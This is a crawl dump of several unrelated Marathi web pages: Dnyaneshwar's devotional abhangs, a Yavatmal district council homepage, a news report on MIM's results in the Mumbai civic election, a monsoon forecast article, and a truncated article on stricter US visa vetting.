"crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z100225212411/view", "date_download": "2018-09-25T17:27:37Z", "digest": "sha1:OJL2TKGBZPWXZ7TQIEZ5KJD5KEIFNOJO", "length": 12910, "nlines": 252, "source_domain": "www.transliteral.org", "title": "सखींशीं संवाद - अभंग २१० ते २१५", "raw_content": "\nमहावाक्य पंचीकरण हे पुस्तक कुठे मिळेल \nमराठी मुख्य सूची|मराठी पुस्तके|श्रीज्ञानेश्वरांची गाथा|\nअभंग २१० ते २१५\nअभंग १ ते २०\nअभंग २१ ते ४०\nअभंग ४१ ते ५२\nअभंग ५३ ते ६५\nअभंग ६६ ते ७८\nअभंग ७९ ते १०१\nअभंग १०२ ते १२२\nअभंग १२३ ते १२८\nअभंग १२९ ते १३०\nअभंग १३१ ते १५०\nअभंग १५१ ते १६८\nअभंग १६९ ते १८०\nअभंग १८१ ते २००\nअभंग २०१ ते २०६\nअभंग २०७ ते २०९\nअभंग २१० ते २१५\nअभंग २१६ ते २२९\nअभंग २३० रे २४०\nअभंग २४१ रे २६०\nअभंग २६१ रे २८२\nअभंग २८३ ते २८९\nअभंग २९० ते २९७\nअभंग २९८ ते ३१०\nअभंग ३११ ते ३३०\nअभंग ३३१ ते ३३२\nअभंग ३३३ ते ३३७\nअभंग ३३८ ते ३३९\nअभंग ३४० ते ३४४\nअभंग ३४५ ते ३५०\nअभंग ३५१ ते ३५५\nअभंग ३५६ ते ३६०\nअभंग ३६१ ते ३६५\nअभंग ३६६ ते ३६८\nअभंग ३७० ते ३७१\nअभंग ३७५ ते ३७६\nअभंग ३७७ ते ३८५\nअभंग ३८६ ते ३९५\nअभंग ३९६ ते ४०४\nअभंग ४०५ ते ४१५\nअभंग ४१६ ते ४२५\nअभंग ४२६ ते ४३५\nअभंग ४३६ ते ४४५\nअभंग ४४६ ते ४४९\nअभंग ४५० ते ४५३\nअभंग ४५४ ते ४५७\nअभंग ४५८ ते ४६१\nअभंग ४६२ ते ४६३\nअभंग ४६७ ते ४७२\nअभंग ४७३ ते ४८५\nअभंग ४८६ ते ४९५\nअभंग ४९६ ते ५०५\nअभंग ५०६ ते ५१५\nअभंग ५१६ ते ५२५\nअभंग ५२६ ते ५३५\nअभंग ५३६ ते ५४५\nअभंग ५४६ ते ५५५\nअभंग ५५६ ते ५६५\nअभंग ५६६ ते ५७५\nअभंग ५७६ ते ५८५\nअभंग ५८६ ते ५९७\nअभंग ५९८ ते ६०५\nअभंग ६०६ ते ६१५\nअभंग ६१६ ते ६२५\nअभंग ६२६ ते ६३५\nअभंग ६३६ ते ६४५\nअभंग ६४६ ते ६५५\nअभंग ६५६ ते ६६५\nअभंग ६६६ ते ६७५\nअभंग ६७६ ते ६८५\nअभंग ६८६ ते ६९५\nअभंग ६९६ ते ७०३\nअभंग ७०४ ते ७१९\nअभंग ७२० ते ७२३\nअभंग ७२४ ते ७२५\nअभंग ७२६ ते ७२७\nअभंग ७२८ ते ७२९\nअभंग ७३७ ते ७५०\nअभंग ७५१ ते ७६३\nअभंग ७६४ ते ७८०\nअभंग ७८१ ते ८००\nअभंग ८०१ ते ८२०\nअभंग ८२१ ते ८४०\nअभंग ८४१ ते ८६०\nअभंग ८६१ ते ८८०\nअभंग ८८१ ते ९०३\nसखींशीं संवाद - अभंग २१० ते २१५\nश्रीज्ञानेश्वर महाराजांची गाथा म्हणजे विठ्ठल प्राप्तीचा एक सोपा मार्ग. यात विठ्ठ्लाच्या सगुणनिर्गुण रूपाचे मोहक वर्णन केलेले आहे.\nममता पुसे सये जिवशिवा ठाव \nपूर्णता पान्हाये कोणे घरीं ॥१॥\nऐके सखिये पुससी बाईये \nपरब्रह्म सामाये पुंडलिका ॥२॥\nनाहीं यासी ठावो संसार पै वावो \nएकतत्त्वीं रावो घरीं वसे ॥३॥\nविश्वजनपाळा ब्रीद साजे ॥४॥\nचित्तींचें चैतन्य रुपीचे अनुकार \nरुप असे साचार नयनांमाजी \nतेजाचें तेज दीपीं कळिका सामावे \nदीपक माल्हावे तेज तेजीं ॥१॥\nकाय सांगो सखिये तेज पै अढळ \nइंद्रियें बरळ देखतांची ॥२॥\nघनदाट रुपीं एकरुप तत्त्व \nदीपीं दीपसमत्व आप दिसे \nनिराकार वस्तु आकार पै अपार \nविश्वीं चराचर बिंबलीसे ॥३॥\nप्राण प्रिया गेली पुसे आत्मनाथा \nकैसेनि उलथा गुरुखुणे ॥\nरुपीं दीपदीप्ति एक जाली ॥४॥\nप्राणासवें सखि आत्मा हा बिंबला \nसवेगुणी निमाला याच्या वृत्ति ॥\nध्यान गेलें ठायां मन गेलें सुखा \nनयनीं नयनसुखा अवलोकीं ॥\nतेंचि सखि रुप वोळखे स्वरुप \nविश्वीं विश्वरुप एका तेजें ॥२॥\nद्वैत पै नाहीं दिसे अद्वैत सुरवाडु \nएक दीपें उजेडु सर्वां घटीं \nविराल्या कामना अमूर्त परिपाठीं ॥\nचैतन्याची दृष्टी उघडली रया ॥३॥\nसखी ह्मणे सुख प्राणासि भुललें \nआत्मपणें मुकलें काय करुं \nदाऊनि स्वरुप एक केलें ॥४॥\nप्राणाची पै सखी पुसे आत्मयासी \nईश्वरीं ध्यानाची वृत्ति गेली ॥\nपांगुळल्या वृत्ति हरपली भावना \nनिमाली कल्पना ब्रह्मीं रया ॥१॥\nहें सुख साचार सांगे कां विचार \nआत्मयाचें घर गुरुखुणें ॥२॥\nचेतवितें कोठें गुंफ़लें सगुण \nनिर्गुणी पै गुण समरस ॥\nतें सुख अपार निळिये वेधलें \nकृष्णरुप देखिले सर्वांरुपीं ॥३॥\nया ध्यानीं गुंफ़लें मनामाजि वेख \nद्वैतभानसुख नाठवे मज ॥\nअद्वैत घरकुलें गुणाचें पै रुप \nमनामाजि स्वरुप बिंबलें रया ॥४॥\nविस्मृति गुणाची स्मृति पै भजन \nदृष्टादृष्ट जन ब्रह्मरुप ॥\nयाचेनि सुलभे नाठवे संसारु \nब्रह्मींचा आकारु दिसत असे ॥५॥\nवेगी सांग ठसा कोण हें रुपडें \nकृष्णरुपीं सुखी तनु जाली ॥६॥\nतत्वता पै तत्त्व धरितां नये हातां \nमग ममतेची चिंता तयासि पुसे ॥१॥\nबाई कोणे घरीं सांगे वो जिवित्व \nपरेचें परतत्व कोणे घरीं ॥२॥\nसखी सांगे गोष्ठी बाईये रुप वो धरीं \nआपणचि घरीं सांपडेल ॥३॥\nनिवृत्तीनें खुणें सांगितलें ज्ञान \nरखुमादेविवर ध्यान विठ्ठल वरदा ॥४॥\nयेऊनि वर्‍हाडिणी बैसल्या टेकी \nकोण तो नोवरा नाहीं वोळखी ॥१॥\nमी कवणाची मज सांगा कोण्ही \nवर्‍हाड आलिया वर्‍हाडणी ॥२॥\nकवळ ते वरमाय कवण तो वरबाप \nकवण तो नोवरा कवण तो मंडप ॥३॥\nवर्‍हाड नव्हे स्वप्नगे माये \nबापरखमादेविवराचे वेगी धरावे पाये ॥४॥\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "http://zpyavatmal.gov.in/", "date_download": "2018-09-25T17:49:09Z", "digest": "sha1:JFLO7W7B3YLQ6Q2JWL5SYEF6U5MMMJJQ", "length": 4137, "nlines": 47, "source_domain": "zpyavatmal.gov.in", "title": " जि.प. यवतमाळ", "raw_content": "\nजिल्हा परिषद यवतमाळ च्या संकेतस्थळावर आपले स्वागत आहे.\nचार चाकी वाहन भाडे तत्वावर घेण्याकरिता दरपत्रके (रा. आ. अ.)\nपी.पी.आर. व एकटांग्या (Black Quarter)लसीचे दर पुरविणेबाबत (पशुसंवर्धन विभाग)\nशिक्षण विभाग(माध्यमिक)-डेस्क बेंच चे दर पुरविण्याबाबत.\nपरिचर वर्ग-४ कर्मचाऱ्यांची अंतिम जेष्ठता यादी.\nजाहिरात: तालुका अभियान व्यवस्थापन कक्षासाठी प्रशिक्षण केंद्र निवडीबाबत (उमेद)\nई-निविदा: प्रोग्रामर आणि डेटा एन्ट्री ऑपरेटर इत्यादी मनुष्यबळ पुरविण्या करिता संस्थेची निवड करणेबाबत.\nसामान्य प्रशासन पंचायत विभाग\nग्रामीण विकास सिंचन विभाग\nआरोग्य विभाग वित्त विभाग\nपाणी पुरवठा समाज कल्याण\nपशुसंवर्धन महिला व बाक\nशिक्षण प्राथमिक शिक्षण माध्यमिक\nकृषी विभाग स्वच्छ भारत मिशन\nपाणीटंचाई कृती आराखडा 2017-18.\nजि.प. व पं.स. सदस्य\nसन्माननीय जिल्हा परिषद सदस्य व पंचायत समिती सदस्यांची यादी ....\nजिल्हा परिषद मधील माजी व कार्यरत अध्यक्ष कार्यकाळ बाबत माहिती ....\nसन्माननीय जिल्हा परिषद यवतमाळ अधिकारी (कार्यालय) संपर्क.\nरचना व निर्मिती - आय.टी. सेल सामान्य प्रशासन विभाग,जि.प.यवतमाळ.\nसूचना - सदर संकेतस्थळावरील माहिती जिल्हा परिषद, यवतमाळ यांनी प्रसिद्ध केली आहे. अधिक माहिती करिता संकेतस्थळ व्यवस्थापक उप-मुख्य कार्यकारी अधिकारी ( सा.प्र.) जिल्हा परिषद, यवतमाळ यांच्याशी संपर्क साधावा.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-252843.html", "date_download": "2018-09-25T17:27:37Z", "digest": "sha1:IW5WNDQINLM6N6NWPW624XCUEGKAL44Z", "length": 14706, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "मुस्लिमांचा 'हात' काँग्रेसला, एमआयएमला धुडकावलं", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमुस्लिमांचा 'हात' काँग्रेसला, एमआयएमला धुडकावलं\n28 फेब्रुवारी : मुंबई महापालिका निवडणुकीत एमआयएम पक्ष काँग्रेसला धक्का देणार अशी अपेक्षा होती खरी. पण काँग्रेसनं मात्र आपले मुस्लीम मतदार पक्षांसोबत ठेवण्यास यश मिळालं. एमआयएमची कामगिरी अपेक्षेप्रमाणे का झाली नाही , याचा आढावा घेणारा हा रिपोर्ट\nमुंबई महापालिका निवडणुकीत एमआयएम पक्ष काय चमत्कार करणार याकडे सगळ्यांचं लक्ष होतं. एमआयएमनं आपलं मुंबईतलं खातं उघडलं खरं पण या पक्षाला अवघ्या दोनच जागांवर समाधान मानावं लागलं. पक्षाला या निवडणुकीत २.५५ टक्के म्हणजे १ लाख २७ हजार ७४० मतं मिळाली आहेत. एमआयएमनं ५९ उमेदवार निवडणुकीत उतरवले होते.\nपक्षाचे नेते काहीही म्हणत असले तरीही पक्षाला आपला प्रभाव या निवडणुकीत फारसा पाडता आला नाही हेच सत्य आहे. असादुद्दीन आणि अकबरुद्दीन ओवेसी यांनी मुंबईत येऊन सभा घेतल्या तरीही मग पक्षाला विशेष यश का मिळालं नाही ओवेसी बंधुंनी शहरात सभा घेतल्या खऱ्या. पण त्यानेच आपलं काम भागेल, अशा भ्रमात शहरातले नेते राहिले आणि जनतेपर्यंत पोहोचण्याचे पुरेसे प्रयत्न झालेच नाहीत, असं पक्षातले काही कार्यकर्ते ऑफ द रेकॉर्ड सांगतात. तसंच काही जणांच्या मते मुंबईची पुरेशी माहिती नसतानाही पक्षातील हैदराबादच्या काही नेत्यांनी पक्षाची सूत्र हाती ठेवली आणि आपल्या मर्जीप्रमाणे तिकीट वाटप केलं. आणि तिथेचं पक्षाची बाजू डळमळायला सुरुवात झाली.\nमुंबईत काँग्रेसच्या निवडून आलेल्या ३१ पैकी ११ नगरसेवक हे मुस्लिम आहेत. याचाच अर्थ मुस्लिम मतदारांनी एमआयएमपेक्षाही काँग्रेसवर अधिक विश्वास ठेवलाय. मतदान आणि मतदार यांना गृहीत धरलं की, त्या पक्षाला त्यांची जागा दाखवायला जनता मागेपुढे पाहात नाही हेच निवडणुकीतून पुन्हा एकदा दिसून आलंय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: #आखाडापालिकांचा#आखाडापालिकांचाAsaduddin owaisiBJPMIMअसोदद्दीन ओवेसीएमआयएमकाँग्रेस\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00234.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-south-asian-climate-outlook-forum-predicts-normal-monsoon-7587", "date_download": "2018-09-25T17:52:31Z", "digest": "sha1:2IM5HMETAWVTSVXVE77NSRML7WBE4KFA", "length": 19910, "nlines": 150, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, South Asian Climate Outlook Forum predicts normal monsoon | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nभारतासह दक्षिण आशियात यंदा सामान्य पाऊस\nभारतासह दक्षिण आशियात यंदा सामान्य पाऊस\nशनिवार, 21 एप्रिल 2018\nपुणे : भारतासह दक्षिण आशियातील देशांच्या बहुतांशी भागांत मॉन्सूनचा पाऊस सर्वसामान्य पडेल, असा अंदाज साउथ एशियन क्‍लायमेट आउटलुक फोरमतर्फे (सॅस्कॉफ) व्यक्त करण्यात आला आहे. महाराष्ट्रात यंदा सरासरीइतका पाऊस पडण्याची शक्यता अधिक आहे, तर आंध्र प्रदेश, ओडिशासह पूर्व-मध्य भारताच्या काही भागात सरासरीपेक्षा अधिक पाऊस; तर राजस्थान, गुजरात, तमिळनाडू, अरुणाचल प्रदेश, नागालँड, मणिपूरसह ईशान्य भारतात सरासरीपेक्षा कमी पावसाची शक्यता अधिक असल्याचा अंदाज वर्तविण्यात आला आहे. फोरममार्फत गेल्या वर्षीही सामान्य पावसाचा अंदाज व्यक्त करण्यात आला होता.\nपुणे : भारतासह दक्षिण आशियातील देशांच्या बहुतांशी भागांत मॉन्सूनचा पाऊस सर्वसामान्य पडेल, असा अंदाज साउथ एशियन क्‍लायमेट आउटलुक फोरमतर्फे (सॅस्कॉफ) व्यक्त करण्यात आला आहे. महाराष्ट्रात यंदा सरासरीइतका पाऊस पडण्याची शक्यता अधिक आहे, तर आंध्र प्रदेश, ओडिशासह पूर्व-मध्य भारताच्या काही भागात सरासरीपेक्षा अधिक पाऊस; तर राजस्थान, गुजरात, तमिळनाडू, अरुणाचल प्रदेश, नागालँड, मणिपूरसह ईशान्य भारतात सरासरीपेक्षा कमी पावसाची शक्यता अधिक असल्याचा अंदाज वर्तविण्यात आला आहे. फोरममार्फत गेल्या वर्षीही सामान्य पावसाचा अंदाज व्यक्त करण्यात आला होता.\nगेल्या वर्षीच्या मॉन्सूनच्या पावसाचा आढावा आणि येत्या हंगामातील अंदाज व्यक्त करण्यासाठी दक्षिण आशियाई देशांच्या फोरमची बारावी दोन दिवसीय बैठक पुण्यात (१९-२० एप्रिल) झाली. भारतासह सर्व दक्षिण आशियाई देशांतील राष्ट्रीय व विभागीय पातळीवरील हवामानविषयक संशोधन संस्थांकडून माहिती विश्‍लेषण व विचारमंथनानंतर हा अंदाज जाहीर करण्यात आला. जगभरातील हवामान स्थिती, विविध हवामान मॉडेलचा विचार करून हा अंदाज तयार करण्यात आला आहे.\nप्रशांत महासागरातील पाण्याच्या पृष्ठभागााचे तापमान सरासरीपेक्षा कमी असल्याने सध्या या भागात सौम्य ‘ला निना’ स्थिती आहे. ही स्थिती माॅन्सून सुरू होईपर्यंत सर्वसाधारण होईल, यावर सर्वच सहभागी शास्त्रज्ञांचे एकमत झाले. काही जागतिक मॉडेल्सच्या अभ्यासानुसार मॉन्सूनच्या अखेरच्या टप्प्यात किंवा माॅन्सूननंतर प्रशांत महासागरातील पाण्याचे तापमान वाढून ‘एल निनो’ स्थिती निर्माण होण्याची शक्यता आहे. मात्र, ‘ला-निना’चे निवळून ‘एल-निनो’ स्थिती नेमकी केव्हा निर्माण होईल, याबाबत अनिश्‍चितता असल्याचे या वेळी नमूद करण्यात आले.\nइंडियन ओशन डायपोल, उष्णकटिबंधीय अटलांटिक समुद्राच्या पृष्ठभागाचे तापमान, युरेशियन जमिनीचे तापमान आदी प्रादेशिक आणि जागतिक घटकांचा माॅन्सून क्षेत्रातील पावसावर परिणाम होऊ शकतो, असे मत या वेळी व्यक्त करण्यात आले. दरम्यान, बंगालचा उपसागर आणि अरबी समुद्राच्या पृष्ठभागाच्या तापमानाचा फरक म्हणजे इंडियन ओशन डायपोल (आयओडी) स्थिती सर्वसाधारण स्थितीत आहे, तर मॉन्सूनच्या मध्यावर ही स्थिती नकारात्मक होण्याची शक्यता आहे. उत्तर गोलार्धातील डिसेंबर, फेब्रुवारी महिन्यात बर्फाचे प्रमाण सर्वसाधारण होते, तर मार्च महिन्यापासून सरासरीपेक्षा अधिक होते. उत्तर गोलार्धातील हिवाळा व उन्हाळ्यातील बर्फाचे प्रमाण व आशियातील मॉन्सून यांच्यात परस्परविरोधी संबंध असतो.\nमहाराष्ट्रात सरासरीइतक्या पावसाचा अंदाज\n‘सॅस्काॅफ’मार्फत पावसाच्या अंदाजाविषयी प्रसिद्ध करण्यात आलेल्या नकाशानुसार महाराष्ट्रात सरासरीइतक्या पावसाची शक्यता आहे. कोकण आणि विदर्भात सरासरीइतक्या पावसाची शक्यता ५० ते ६० टक्के, तर मध्य महाराष्ट्र, मराठवाड्यात ४० ते ५० टक्के आहे. कोकण, गोव्यासह कर्नाटक किनारपट्टी, विदर्भ, छत्तीसगड, झारखंडमध्ये सरासरीइतका पाऊस पडण्याची शक्यता अधिक आहे. ओडिशा, आंध्र प्रदेशात सरासरीपेक्षा अधिक पाऊस पडण्याची शक्यता ४० ते ५० टक्के अाहे, तर तमिळनाडू, पश्‍चिम राजस्थान, गुजरातमधील कच्छ, आसाम, अरुणाचल प्रदेश, नागलँड, मणिपूर राज्यांमध्ये सरासरीपेक्षा कमी पाऊस पडण्याची शक्यता अधिक असल्याचे स्पष्ट होत आहे.\nभारत मॉन्सून पाऊस महाराष्ट्र आंध्र प्रदेश ओडिशा राजस्थान गुजरात तमिळनाडू अरुणाचल प्रदेश मणिपूर ईशान्य भारत हवामान माॅन्सून समुद्र अरबी समुद्र कोकण विदर्भ कर्नाटक छत्तीसगड आसाम\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00235.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/global/travelers-terror-hit-region-might-face-hurdles-getting-us-visa-43538", "date_download": "2018-09-25T17:27:09Z", "digest": "sha1:7WJ34ZOOUDNBFNXLM5MLNZGTGHG3SYCA", "length": 13325, "nlines": 173, "source_domain": "www.esakal.com", "title": "Travelers from Terror-hit region might face hurdles getting US Visa 'विशिष्ट' नागरिकांना अमेरिकेचा व्हिसा झाला अवघड | eSakal", "raw_content": "\n'विशिष्ट' नागरिकांना अमेरिकेचा व्हिसा झाला अवघड\nशुक्रवार, 5 मे 2017\nया नव्या नियमावलीनुसार, या विशिष्ट अर्जदारांना गेल्या पाच वर्षांत वापरलेले दूरध्वनी क्रमांक, ई मेल, सोशल मिडीया प्लॅटफॉर्म्स यांची माहिती अमेरिकन सरकारला द्यावी लागणार आहे. या नागरिकांचे सोशल मिडीया पासवर्डस वा इतर अन्य स्वरुपाची गोपनीय माहिती मिळविण्याचा प्रयत्न अमेरिकेकडून केला जाणार नाही, असेही परराष्ट्र मंत्रालयाकडून ध्वनित करण्यात आले आहे.\nवॉशिंग्टन : दहशतवादाचा प्रभाव असलेल्या भागांमधील नागरिकांना अमेरिकेचा व्हिसा हवा असल्यास त्यांना सोशल मिडीयावरील त्यांचे अस्तित्व, ई मेल अॅड्रेस व दूरध्वनी क्रमांक, अशी सर्व माहिती तपासणीसाठी द्यावी लागणार आहे.\nसरकारला या प्रस्तावित निर्णयासंदर्भात जनमत जाणून घ्यावयाची इच्छा आहे. मात्र या योजनेची येत्या 18 मेपासून सहा महिन्यांच्या 'तात्पुरत्या काळा'साठी अंमलबजावणी केली जावी, यासाठीही ट्रम्प प्रशासन प्रयत्नशील आहे.\nदहशतवाद्यांचा प्रभाव असलेल्या भागामधून प्रवास केलेल्या नागरिकांसाठी कडक तपासणीचे हे नियम लागू केले जाणार आहेत. अमेरिकेच्या व्हिसासाठी अर्ज करणाऱ्या एकूण नागरिकांमध्ये अशा विशिष्ट नागरिकांचे प्रमाण 0.5% (सुमारे 65 हजार) इतके असल्याचे अमेरिकेच्या परराष्ट्र मंत्रालयाने स्पष्ट केले आहे.\nया नव्या नियमावलीनुसार, या विशिष्ट अर्जदारांना गेल्या पाच वर्षांत वापरलेले दूरध्वनी क्रमांक, ई मेल, सोशल मिडीया 